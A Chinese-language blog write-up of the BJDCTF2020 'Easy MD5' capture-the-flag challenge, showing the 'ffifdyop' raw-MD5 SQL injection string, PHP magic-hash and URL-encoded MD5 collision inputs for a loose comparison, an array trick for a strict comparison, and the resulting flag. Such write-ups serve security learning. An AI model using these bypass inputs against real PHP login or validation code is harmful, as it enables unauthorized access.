CTF常见MD5

CTF常见MD5

[BJDCTF2020]Easy MD5

拿到题目:

1652792070681

随便递交试一下

1652792134102

看到header中有提示

select * from 'admin' where password=md5($pass,true)

只用 password=md5($pass,true) 为 true 的时候才会执行 select * from 'admin'

这里可以用到 ffifdyop

md5($pass,true)
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6

就相当于select * from admin where password=''or 1 可以实现sql注入

MD5加密 276F722736C95D99E921722CF9ED621C
16位原始二进制格式 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string 'or’6]!r,b

提交,调到一个新连接

1652792375928

查看源代码

1652792435110

md3碰撞:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){  //当 a,b值不相等 , 但是md5加密a,b后的值相等
    // wow, glzjin wants a girl friend.
-->

真实md5碰撞,因为此时不能输入数组了,只能输入字符串

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 

也可以

?a=QNKCDZO&b=s878926199a

又跳到新页面

1652792826664

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

考的是MD5强碰撞,如果传参不是字符串,而是数组,md5()函数无法解出数值,就会得到===强比较的值相等

post

1652792897458

得到flag:

1652792919190

flag{06aebdeb-f184-4bf4-a8eb-c92dede7f96d}

posted @ 2023-02-04 20:23  crabin88  阅读(155)  评论(0编辑  收藏  举报